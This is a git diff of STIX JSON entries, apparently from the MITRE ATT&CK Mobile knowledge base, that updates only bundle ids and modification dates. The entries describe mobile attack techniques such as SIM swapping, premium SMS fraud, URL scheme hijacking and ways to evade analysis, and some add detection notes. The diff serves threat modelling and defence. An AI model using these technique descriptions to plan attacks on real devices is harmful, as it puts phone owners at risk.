+    "id": "bundle--6d1e64e6-3e2b-41a5-a06e-2a8e1a16cb16",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:29.092Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify cached executable code",
             "description": "ART (the Android Runtime) compiles optimized code on the device itself to improve performance. If an adversary can escalate privileges, he or she may be able to use those privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.\n\nSabanal describes the potential use of this technique in  (Citation: Sabanal-ART).\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--89fcd02f-62dc-40b9-a54b-9ac4b1baef05.json b/mobile-attack/attack-pattern/attack-pattern--89fcd02f-62dc-40b9-a54b-9ac4b1baef05.json
index f5b85f3e8f..3e878d8130 100644
--- a/mobile-attack/attack-pattern/attack-pattern--89fcd02f-62dc-40b9-a54b-9ac4b1baef05.json
+++ b/mobile-attack/attack-pattern/attack-pattern--89fcd02f-62dc-40b9-a54b-9ac4b1baef05.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8d2da2db-fef2-41f0-b187-b35e8c201ed3",
+    "id": "bundle--d17e5966-ea12-4c80-ab7a-5cc2410b83c2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--89fcd02f-62dc-40b9-a54b-9ac4b1baef05",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:28.456Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Device Type Discovery",
             "description": "On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--8e27551a-5080-4148-a584-c64348212e4f.json b/mobile-attack/attack-pattern/attack-pattern--8e27551a-5080-4148-a584-c64348212e4f.json
index efe115ab74..d057aec88d 100644
--- a/mobile-attack/attack-pattern/attack-pattern--8e27551a-5080-4148-a584-c64348212e4f.json
+++ b/mobile-attack/attack-pattern/attack-pattern--8e27551a-5080-4148-a584-c64348212e4f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2aa2db2a-f5c9-482d-a972-d8fbe059f498",
+    "id": "bundle--fcfd16e2-8319-4a29-8295-78143b992f33",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--8e27551a-5080-4148-a584-c64348212e4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:31.694Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Wipe Device Data",
             "description": "A malicious application could abuse Android device administrator access to wipe device contents, for example if a ransom is not paid.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274.json b/mobile-attack/attack-pattern/attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274.json
index 84e8ac72a3..9bd1fb624a 100644
--- a/mobile-attack/attack-pattern/attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274.json
+++ b/mobile-attack/attack-pattern/attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1e64848b-973c-4f13-a9d3-0fc9264affc5",
+    "id": "bundle--b8925aec-7279-458a-b96b-df3bdb5cd91d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:09.082Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Premium SMS Toll Fraud",
             "description": "A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary, for example as described by Lookout in  (Citation: Lookout-SMS).\n\nOn iOS, apps cannot send SMS messages.\n\nOn Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).\n\nDetection: As described in Google's Android Security 2014 Year in Review Report  (Citation: AndroidSecurity2014), starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.\n\nOn Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--8f142a25-f6c3-4520-bd50-2ae3ab50ed3e.json b/mobile-attack/attack-pattern/attack-pattern--8f142a25-f6c3-4520-bd50-2ae3ab50ed3e.json
index e9fb0518e5..5ecdd1e94f 100644
--- a/mobile-attack/attack-pattern/attack-pattern--8f142a25-f6c3-4520-bd50-2ae3ab50ed3e.json
+++ b/mobile-attack/attack-pattern/attack-pattern--8f142a25-f6c3-4520-bd50-2ae3ab50ed3e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--546b76b3-5ccf-4eda-8aff-21b2f3f5514b",
+    "id": "bundle--fd788c96-2b60-4513-82cd-d549bf55ddf1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--8f142a25-f6c3-4520-bd50-2ae3ab50ed3e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:17.533Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "URL Scheme Hijacking",
             "description": "An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application. This technique, for example, could be used to capture OAuth authorization codes as described in  (Citation: IETF-PKCE) or to phish user credentials as described in  (Citation: MobileIron-XARA). Related potential security implications are described in  (Citation: Dhanjani-URLScheme). FireEye researchers describe URL scheme hijacking in a blog post (Citation: FireEye-Masque2), including evidence of its use.\n\nPlatforms: iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4.json b/mobile-attack/attack-pattern/attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4.json
index 9927698771..53e73e63fe 100644
--- a/mobile-attack/attack-pattern/attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4.json
+++ b/mobile-attack/attack-pattern/attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e9ad115b-2d99-4c3a-b12a-e770c008e189",
+    "id": "bundle--2f583b1e-fa0a-46d0-83d9-d7f911f007b1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:12.267Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Location Tracking",
             "description": "An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access device location through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1.json b/mobile-attack/attack-pattern/attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1.json
index afc8620ab6..461aeafa21 100644
--- a/mobile-attack/attack-pattern/attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1.json
+++ b/mobile-attack/attack-pattern/attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--56f38881-e113-4a73-9fba-979c3460017e",
+    "id": "bundle--69009618-18d8-4ba4-b094-1ad0f59d2942",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:17.886Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lock User Out of Device",
             "description": "An adversary may seek to lock the legitimate user out of the device, for example until a ransom is paid.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to lock the user out of the device.\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been demonstrated that can lock the user out of the device (Citation: KeyRaider).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--a0464539-e1b7-4455-a355-12495987c300.json b/mobile-attack/attack-pattern/attack-pattern--a0464539-e1b7-4455-a355-12495987c300.json
index 1e711fd79f..a5d539964c 100644
--- a/mobile-attack/attack-pattern/attack-pattern--a0464539-e1b7-4455-a355-12495987c300.json
+++ b/mobile-attack/attack-pattern/attack-pattern--a0464539-e1b7-4455-a355-12495987c300.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--19036255-4365-492c-9cde-a9026ff60761",
+    "id": "bundle--779d5261-ebde-40c5-9d93-d98728d54f5b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--a0464539-e1b7-4455-a355-12495987c300",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:13.625Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Attack PC via USB Connection",
             "description": "With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC. Wang and Stavrou (Citation: Wang-ExploitingUSB) and Kamkar (Citation: ArsTechnica-PoisonTap) describe this technique. This technique has been demonstrated on Android, and we are unaware of any demonstrations on iOS.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--a21a6a79-f9a1-4c87-aed9-ba2d79536881.json b/mobile-attack/attack-pattern/attack-pattern--a21a6a79-f9a1-4c87-aed9-ba2d79536881.json
index a25cfa3863..a50a162dfc 100644
--- a/mobile-attack/attack-pattern/attack-pattern--a21a6a79-f9a1-4c87-aed9-ba2d79536881.json
+++ b/mobile-attack/attack-pattern/attack-pattern--a21a6a79-f9a1-4c87-aed9-ba2d79536881.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c4a2f04a-463f-425f-aa56-2afa9a8ed4d6",
+    "id": "bundle--07b70640-3ed7-4c08-a460-2cc7654cc29a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--a21a6a79-f9a1-4c87-aed9-ba2d79536881",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:05.928Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Stolen Developer Credentials or Signing Keys",
             "description": "An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer's identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in  (Citation: Infoworld-Appstore).\n\nDetection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed.json b/mobile-attack/attack-pattern/attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed.json
index c809aed0c9..9fbbdf202e 100644
--- a/mobile-attack/attack-pattern/attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed.json
+++ b/mobile-attack/attack-pattern/attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bfc7a437-6096-4bcd-a762-d8329b7683b9",
+    "id": "bundle--087172d1-bb9e-4b53-bdf7-0af704e024db",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:22.296Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rogue Cellular Base Station",
             "description": "An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. For example, Ritter and DePerry of iSEC Partners demonstrated this technique using a compromised cellular femtocell at Black Hat USA 2013 (Citation: Computerworld-Femtocell).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--a64a820a-cb21-471f-920c-506a2ff04fa5.json b/mobile-attack/attack-pattern/attack-pattern--a64a820a-cb21-471f-920c-506a2ff04fa5.json
index 6c940f85ed..68a6dbd5e6 100644
--- a/mobile-attack/attack-pattern/attack-pattern--a64a820a-cb21-471f-920c-506a2ff04fa5.json
+++ b/mobile-attack/attack-pattern/attack-pattern--a64a820a-cb21-471f-920c-506a2ff04fa5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f72f0fc-86dc-4fcc-866a-cc64018b4b53",
+    "id": "bundle--1227437a-f9df-43f1-a5ab-5bb7c911bfd8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--a64a820a-cb21-471f-920c-506a2ff04fa5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:20.329Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SIM Card Swap",
             "description": "An adversary could convince the mobile network operator (e.g. through social networking or forged identification) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts (Citation: Guardian-Simswap).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad.json b/mobile-attack/attack-pattern/attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad.json
index b369f00b51..4204d67ebe 100644
--- a/mobile-attack/attack-pattern/attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad.json
+++ b/mobile-attack/attack-pattern/attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--854e2062-185f-4988-9b94-d18ea1f0e9a7",
+    "id": "bundle--a9ba80a0-a8b4-4065-a4e4-88246b400376",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:27.660Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious Third Party Keyboard App",
             "description": "A malicious app can register as a device keyboard and intercept keypresses containing sensitive values such as usernames and passwords. Zeltser (Citation: Zeltser-Keyboard) describes these risks.\n\nBoth iOS and Android require the user to explicitly authorize use of third party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f.json b/mobile-attack/attack-pattern/attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f.json
index b5db844066..4bb6363330 100644
--- a/mobile-attack/attack-pattern/attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f.json
+++ b/mobile-attack/attack-pattern/attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9372f4bc-f807-485b-aeff-48e29f1b9060",
+    "id": "bundle--ce267057-c798-4265-b5c5-5f97a78c678f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:35.247Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Repackaged Application",
             "description": "An adversary could download a legitimate app, disassemble it, add malicious code, and then reassemble the app, for example as described by  (Citation: Zhou) and Jiang in  (Citation: Zhou). The app would appear to be the original app but contain additional malicious functionality. The adversary could then publish this app to app stores or use another delivery technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--a9cab8f6-4c94-4c9b-9e7d-9d863ff53431.json b/mobile-attack/attack-pattern/attack-pattern--a9cab8f6-4c94-4c9b-9e7d-9d863ff53431.json
index 72761318d2..a78a270078 100644
--- a/mobile-attack/attack-pattern/attack-pattern--a9cab8f6-4c94-4c9b-9e7d-9d863ff53431.json
+++ b/mobile-attack/attack-pattern/attack-pattern--a9cab8f6-4c94-4c9b-9e7d-9d863ff53431.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d1469c29-cf9b-43dd-b578-63220b7ebcd3",
+    "id": "bundle--e5141ca2-6e67-473c-8d42-0b3c995115d5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--a9cab8f6-4c94-4c9b-9e7d-9d863ff53431",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:19.682Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious Media Content",
             "description": "Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--b332a960-3c04-495a-827f-f17a5daed3a6.json b/mobile-attack/attack-pattern/attack-pattern--b332a960-3c04-495a-827f-f17a5daed3a6.json
index f0c2f8f944..6d03f25f6e 100644
--- a/mobile-attack/attack-pattern/attack-pattern--b332a960-3c04-495a-827f-f17a5daed3a6.json
+++ b/mobile-attack/attack-pattern/attack-pattern--b332a960-3c04-495a-827f-f17a5daed3a6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--846d12c3-1a6c-408d-99a9-040b10b443f0",
+    "id": "bundle--fe5b82e9-d46e-4071-ba8a-aaa47f6d2035",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--b332a960-3c04-495a-827f-f17a5daed3a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:14.003Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Disguise Root/Jailbreak Indicators",
             "description": "An adversary could use knowledge of the techniques used by security software to evade detection. For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection as described by  (Citation: Rastogi) et al. (Citation: Rastogi). \n\n (Citation: Brodie) (Citation: Brodie) describes limitations of jailbreak/root detection mechanisms.\n\n (Citation: Tan) (Citation: Tan) describes his experience defeating the jailbreak detection used by the iOS version of Good for Enterprise.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--b3c2e5de-0941-4b57-ba61-af029eb5517a.json b/mobile-attack/attack-pattern/attack-pattern--b3c2e5de-0941-4b57-ba61-af029eb5517a.json
index 1460a0dab6..97e1482dfb 100644
--- a/mobile-attack/attack-pattern/attack-pattern--b3c2e5de-0941-4b57-ba61-af029eb5517a.json
+++ b/mobile-attack/attack-pattern/attack-pattern--b3c2e5de-0941-4b57-ba61-af029eb5517a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--667826d7-a6b7-46c0-9be1-06a7dd65417c",
+    "id": "bundle--03b2e2b3-2d44-4afa-96d4-5fc136d28f5e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--b3c2e5de-0941-4b57-ba61-af029eb5517a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:27.307Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Alternate Network Mediums",
             "description": "Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--b765efd1-02e6-4e67-aebf-0fef5c37e54b.json b/mobile-attack/attack-pattern/attack-pattern--b765efd1-02e6-4e67-aebf-0fef5c37e54b.json
index 43ce97b551..d3a5124a76 100644
--- a/mobile-attack/attack-pattern/attack-pattern--b765efd1-02e6-4e67-aebf-0fef5c37e54b.json
+++ b/mobile-attack/attack-pattern/attack-pattern--b765efd1-02e6-4e67-aebf-0fef5c37e54b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--11683ce4-337e-4245-b0bb-6b85309cd2fe",
+    "id": "bundle--f80dd6ad-843c-4e23-805e-8b29db918c2d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--b765efd1-02e6-4e67-aebf-0fef5c37e54b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:26.473Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Detect App Analysis Environment",
             "description": "An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.\n\nDiscussion of general Android anti-analysis techniques can be found in  (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in  (Citation: Oberheide-Bouncer),  (Citation: Percoco-Bouncer).\n\n (Citation: Wang) presents a discussion of iOS anti-analysis techniques.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--b928b94a-4966-4e2a-9e61-36505b896ebc.json b/mobile-attack/attack-pattern/attack-pattern--b928b94a-4966-4e2a-9e61-36505b896ebc.json
index 65cdd6cb4b..5999cef239 100644
--- a/mobile-attack/attack-pattern/attack-pattern--b928b94a-4966-4e2a-9e61-36505b896ebc.json
+++ b/mobile-attack/attack-pattern/attack-pattern--b928b94a-4966-4e2a-9e61-36505b896ebc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fc2af5fd-3261-44d8-9c55-595fa08d46aa",
+    "id": "bundle--33508785-321a-45c3-9f96-0dde3d2818a2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--b928b94a-4966-4e2a-9e61-36505b896ebc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:24.905Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Malicious Software Development Tools",
             "description": "As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.\n\nDetection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--bd4d32f5-eed4-4018-a649-40b229dd1d69.json b/mobile-attack/attack-pattern/attack-pattern--bd4d32f5-eed4-4018-a649-40b229dd1d69.json
index 1c6074a573..10e8713fce 100644
--- a/mobile-attack/attack-pattern/attack-pattern--bd4d32f5-eed4-4018-a649-40b229dd1d69.json
+++ b/mobile-attack/attack-pattern/attack-pattern--bd4d32f5-eed4-4018-a649-40b229dd1d69.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e3460262-06b6-4793-a92d-cebb9724d4ee",
+    "id": "bundle--8f0932e8-1cc4-409c-912b-7647615a39d5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--bd4d32f5-eed4-4018-a649-40b229dd1d69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:30.127Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "App Auto-Start at Device Boot",
             "description": "An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app's functionality will be activated every time the device starts up without having to wait for the device user to manually start the app.\n\n (Citation: Zhou) and Jiang (Citation: Zhou) analyzed 1260 Android malware samples belonging to 49 families of malware, and determined that 29 malware families and 83.3% of the samples listened for BOOT_COMPLETED.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692.json b/mobile-attack/attack-pattern/attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692.json
index 99d7184f97..b518e29891 100644
--- a/mobile-attack/attack-pattern/attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692.json
+++ b/mobile-attack/attack-pattern/attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--daac2ef5-960c-4c4b-b037-a82924e659b6",
+    "id": "bundle--d32d38cb-717e-40ab-a923-e4874f864f6e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:19.996Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Capture Clipboard Data",
             "description": "A malicious app or other attack vector could capture sensitive data stored in the device clipboard, for example passwords being copy-and-pasted from a password manager app.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0.json b/mobile-attack/attack-pattern/attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0.json
index 3dfda8cef0..337650eb08 100644
--- a/mobile-attack/attack-pattern/attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0.json
+++ b/mobile-attack/attack-pattern/attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--23517318-aa46-497e-8ba1-25424ea8ef3a",
+    "id": "bundle--da184c4c-1f67-4388-b39f-87537da219f0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:30.890Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify System Partition",
